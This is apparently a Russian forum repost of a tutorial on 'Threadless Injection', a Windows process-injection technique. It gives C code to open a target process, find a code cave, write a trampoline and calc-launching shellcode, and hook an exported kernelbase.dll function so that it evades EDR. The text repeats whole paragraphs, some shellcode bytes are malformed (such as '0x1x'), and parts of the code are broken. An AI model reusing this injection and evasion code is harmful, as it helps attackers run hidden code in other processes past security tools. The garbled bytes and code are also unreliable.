stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы поговорим о технике инъекции в сторонний процесс, которая называется Threadless Injection. На момент написания статьи она работала на Windows 11 23H2 x64 с активированными средствами защиты ОС на изолированной от сети виртуальной машине.
Нельзя ли все это написать таким образом, чтобы действия выполнялись те же, но без прямого использования перечисленных функций WinAPI? С первыми шагами такое проделать можно, но с выполнением шелл‑кода все не так просто. Прямой вызов функций CreateRemoteThread/NtQueueApcThread даст алерт EDR с вероятностью 100%.
Словом, чтобы обвести защиту вокруг пальца, нам надо сломать эту последовательность. Например, почему бы не перехватить какие‑нибудь вызовы API в стороннем приложении, в экспортируемой функции DLL и потом заставить эту функцию работать на нас?
Например, можно пропатчить функции работы с сетью какого‑нибудь легитимного ПО, которое и так работает с сетью, и использовать их для связи со своими сетевыми ресурсами! В этом и состоит смысл техники Threadless Injection — пропатчить экспортные функции используемой процессом динамической библиотеки, чтобы при их вызове запускался наш код. По шагам это выглядит примерно вот так:
Чтобы решить этот вопрос, нужно провести небольшое исследование ПО, в котором мы собираемся реализовывать такой перехват экспортной функции. В идеальном случае нужно найти приложение, которое вызывает какие‑то функции DLL регулярно: например, обращается к своему временному файлу на диске и записывает в него промежуточные результаты своей работы или проверяет доступность своих серверов в сети, вызывая соответствующие API с определенным промежутком времени. Если найти такие функции, то можно быть уверенным, что вызов точно произойдет.
Но не следует злоупотреблять этим правилом: если приложение вызывает API слишком часто (например, несколько раз в секунду) и ты захочешь перехватить вызов, то неизбежны разные глюки.
Чтобы провести подобное исследование, воспользуемся программой Для просмотра ссылки Войдиили Зарегистрируйся. В этой же программе мы сможем увидеть, как в реальном времени происходит вызов WinAPI, какие действия в интересующей нас программе на это влияют. Кроме того, можно увидеть, какие DLL прицеплены к процессу и какие API они реализуют (то есть это не просто список WinAPI непонятно откуда). Исходя из данных мониторинга, мы должны решить для себя, какую функцию из экспорта используемой библиотеки перехватывать.
Пример использования программы API Monitor для просмотра вызываемых функций WinAPI
После того как подопытная программа исследована и нужные WinAPI выявлены, можно начинать кодить.
Сначала нам нужно получить хендл целевого процесса по его имени:
Далее загружаем выбранную динамическую библиотеку, содержащую в экспорте функцию API, с которой мы хотим поработать. Пусть этой библиотекой будет kernelbase.dll.
Теперь получаем адрес нашей API в DLL:
Ищем code cave — область, куда можно записать наши данные:
Теперь пойдут манипуляции с трамплином и другая арифметика. Чтобы было понятно, обозначим трамплин и пейлоад. Пейлоад — обычный, который встречается повсюду в демонстрационных PoC и запускает калькулятор. Что касается трамплина, в него входит балансировка стека, сохранение и восстановление регистров после вызова пейлоада:
Далее читаем начало экспортируемой из DLL функции и настраиваем при помощи полученных данных трамплин:
Далее заканчиваем записывать трамплин и полезную нагрузку, а затем меняем атрибуты целевой памяти сначала на PAGE_EXECUTE_READWRITE, потом обратно на PAGE_EXECUTE_READ, когда работа будет выполнена:
После выполнения всех шагов остается только ждать, пока приложение вызовет пропатченную функцию. Но ждать долго не придется, мы ведь использовали монитор функций WinAPI и убедились, что API, которая подверглась модификации, вызывается регулярно.
Конечно, написанный выше код — это всего лишь демонстрация и некий шаблон, который можно значительно улучшать, чтобы добиться еще более надежной невидимости. Кроме того, эта техника не панацея и не серебряная пуля, которая сделает код полностью скрытым: все техники (инжекта, вызова API, обфускации кода и прочие) нужно использовать совместно, а не по одиночке, тогда у редтимеров будет шанс победить!
info
Читай также мою Для просмотра ссылки Войдиили Зарегистрируйся, где я показывал, как устроена и как реализуется техника инжекта под названием Process Ghosting.
Итак, давай вспомним, как происходит стандартная инъекция шелл‑кода с последующим его выполнением.
- Получение дескриптора процесса (OpenProcess и NtOpenProcess).
- Выделение памяти для полезной нагрузки (VirtualAllocEx и NtMapViewOfSection).
- Запись полезной нагрузки в эту память (WriteProcessMemory и Ghost Writing).
- Выполнение шелл‑кода (CreateRemoteThread и NtQueueApcThread).
Нельзя ли все это написать таким образом, чтобы действия выполнялись те же, но без прямого использования перечисленных функций WinAPI? С первыми шагами такое проделать можно, но с выполнением шелл‑кода все не так просто. Прямой вызов функций CreateRemoteThread/NtQueueApcThread даст алерт EDR с вероятностью 100%.
Словом, чтобы обвести защиту вокруг пальца, нам надо сломать эту последовательность. Например, почему бы не перехватить какие‑нибудь вызовы API в стороннем приложении, в экспортируемой функции DLL и потом заставить эту функцию работать на нас?
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.Например, можно пропатчить функции работы с сетью какого‑нибудь легитимного ПО, которое и так работает с сетью, и использовать их для связи со своими сетевыми ресурсами! В этом и состоит смысл техники Threadless Injection — пропатчить экспортные функции используемой процессом динамической библиотеки, чтобы при их вызове запускался наш код. По шагам это выглядит примерно вот так:
- Найти область памяти Для просмотра ссылки Войди
или Зарегистрируйся, которая сможет вместить наш шелл‑код и трамплин. - Записать шелл‑код и трамплин в эту память.
- Пропатчить экспортируемую функцию DLL, настроив ее на запуск нашего кода.
- Подождать вызова этой функции, чтобы шелл‑код выполнился.
Чтобы решить этот вопрос, нужно провести небольшое исследование ПО, в котором мы собираемся реализовывать такой перехват экспортной функции. В идеальном случае нужно найти приложение, которое вызывает какие‑то функции DLL регулярно: например, обращается к своему временному файлу на диске и записывает в него промежуточные результаты своей работы или проверяет доступность своих серверов в сети, вызывая соответствующие API с определенным промежутком времени. Если найти такие функции, то можно быть уверенным, что вызов точно произойдет.
Но не следует злоупотреблять этим правилом: если приложение вызывает API слишком часто (например, несколько раз в секунду) и ты захочешь перехватить вызов, то неизбежны разные глюки.
Чтобы провести подобное исследование, воспользуемся программой Для просмотра ссылки Войди

После того как подопытная программа исследована и нужные WinAPI выявлены, можно начинать кодить.
Кодим
В начале статьи мы обозначили шаги, которые нужно сделать для реализации Threadless Injection, теперь пришло время реализовать каждый шаг в коде.Сначала нам нужно получить хендл целевого процесса по его имени:
Код:
HANDLE hProc = NULL;
LPCWSTR ps_name;
DWORD *procID;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!process_snap) return NULL;
if (Process32First(process_snap, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {
*procID = pe32.th32ProcessID;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);
if (!hProc) continue;
return hProc;
}
} while (Process32Next(process_snap, &pe32));
}
Далее загружаем выбранную динамическую библиотеку, содержащую в экспорте функцию API, с которой мы хотим поработать. Пусть этой библиотекой будет kernelbase.dll.
Код:
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll");
if (hModule == NULL)
hModule = LoadLibraryW(L"kernelbase.dll");
Теперь получаем адрес нашей API в DLL:
Код:
// victim_export_func — функция из экспорта kernelbase.dll, которая подвергнется установке хука
void* dll_export_fun_addr = GetProcAddress(hModule, victim_export_func);
if (dll_export_fun_addr == NULL) return 1;
Ищем code cave — область, куда можно записать наши данные:
Код:
UINT_PTR addr_of_codecave;
uint64_t function_addr;
BOOL gotchaCave;
// Начало поиска
for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
// Диапазон адресов
addr_of_codecave < function_addr + 0x70000000;
// Шаг, которым мы листаем память
addr_of_codecave += 0x10000)
{
LPVOID lpAddr = VirtualAllocEx(hProc,
addr_of_codecave,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL) continue;
gotchaCave = TRUE;
break;
}
if (gotchaCave == TRUE) return addr_of_codecave;
Теперь пойдут манипуляции с трамплином и другая арифметика. Чтобы было понятно, обозначим трамплин и пейлоад. Пейлоад — обычный, который встречается повсюду в демонстрационных PoC и запускает калькулятор. Что касается трамплина, в него входит балансировка стека, сохранение и восстановление регистров после вызова пейлоада:
Код:
unsigned char tramp_to_shellcode[] = {
0x58, 0x48, 0x83, 0xE8, 0x05, 0x50,
0x51, 0x52, 0x41, 0x50, 0x41, 0x51,
0x41, 0x52, 0x41, 0x53, 0x48, 0xB9,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x89, 0x08, 0x48,
0x83, 0xEC, 0x40, 0xE8, 0x11, 0x00,
0x00, 0x00, 0x48, 0x83, 0xC4, 0x40,
0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF,
0xE0, 0x90
};
unsigned char shellcode[] = {
0x53, 0x56, 0x57, 0x55, 0x54, 0x58,
0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C,
0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B,
0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48,
0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
0x1x, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x1x, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45,
0x7x, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE,
0x4x, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D,
0x5x, 0x5E, 0x5B, 0xC3
};
Далее читаем начало экспортируемой из DLL функции и настраиваем при помощи полученных данных трамплин:
Код:
int64_t originalBytes = (int64_t)dll_export_fun_addr;
// Трамплин не повреждается — в нем по этому смещению место зарезервировано нулями
(uint64_t)(tramp_to_shellcode + 0x12) = originalBytes;
Теперь настраиваем память и даем ей права PAGE_EXECUTE_READWRITE для установки хука:
DWORD saveProtectFlags = 0;
if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &saveProtectFlags)) return 1;
Создаем хук (call) в экспортной функции атакуемой библиотеки и настраиваем его:
// Опкод функции call
unsigned char call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 };
int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5));
// Настраиваем вызов
(int)(call_opcode_to_shell + 1) = call_addr;
Далее заканчиваем записывать трамплин и полезную нагрузку, а затем меняем атрибуты целевой памяти сначала на PAGE_EXECUTE_READWRITE, потом обратно на PAGE_EXECUTE_READ, когда работа будет выполнена:
Код:
VirtualProtectEx(hProc,
call_opcode_to_shell,
sizeof(call_opcode_to_shell),
PAGE_EXECUTE_READWRITE,
NULL);
if (!WriteProcessMemory(hProc,
dll_export_fun_addr,
call_opcode_to_shell,
sizeof(call_opcode_to_shell),
&numOfWrittenBytes))
return 1;
unsigned char mypayload[sizeof(tramp_to_shellcode) + sizeof(shellcode)];
// В этих двух циклах создаем один большой пейлоад из шелл-кода и трамплина
for (size_t x = 0; x < sizeof(tramp_to_shellcode); ++x)
mypayload = tramp_to_shellcode;
for (size_t x = 0; x < sizeof(shellcode); ++x)
mypayload[sizeof(shellcode) + i] = shellcode;
// Меняем флаги доступа к памяти для проведения записи
if (!VirtualProtectEx(hProc,
remoteAddress,
sizeof(mypayload),
PAGE_READWRITE,
&saveProtectFlags))
return 1;
// Записываем полезную нагрузку
if (!WriteProcessMemory(hProc,
remoteAddress,
mypayload,
sizeof(mypayload),
&numOfWrittenBytes))
return 1;
// Возвращаем права доступа к памяти обратно
if (!VirtualProtectEx(hProc,
remoteAddress,
sizeof(mypayload),
PAGE_EXECUTE_READ,
&saveProtectFlags))
return 1;
После выполнения всех шагов остается только ждать, пока приложение вызовет пропатченную функцию. Но ждать долго не придется, мы ведь использовали монитор функций WinAPI и убедились, что API, которая подверглась модификации, вызывается регулярно.
Выводы
Сегодня ты узнал, как реализуется техника внедрения и исполнения кода Threadless Injection, то есть без явного вызова функций создания потока. Это ломает привычный шаблон инжектов, что позволит нашему уйти от детекта и продолжить работать.Конечно, написанный выше код — это всего лишь демонстрация и некий шаблон, который можно значительно улучшать, чтобы добиться еще более надежной невидимости. Кроме того, эта техника не панацея и не серебряная пуля, которая сделает код полностью скрытым: все техники (инжекта, вызова API, обфускации кода и прочие) нужно использовать совместно, а не по одиночке, тогда у редтимеров будет шанс победить!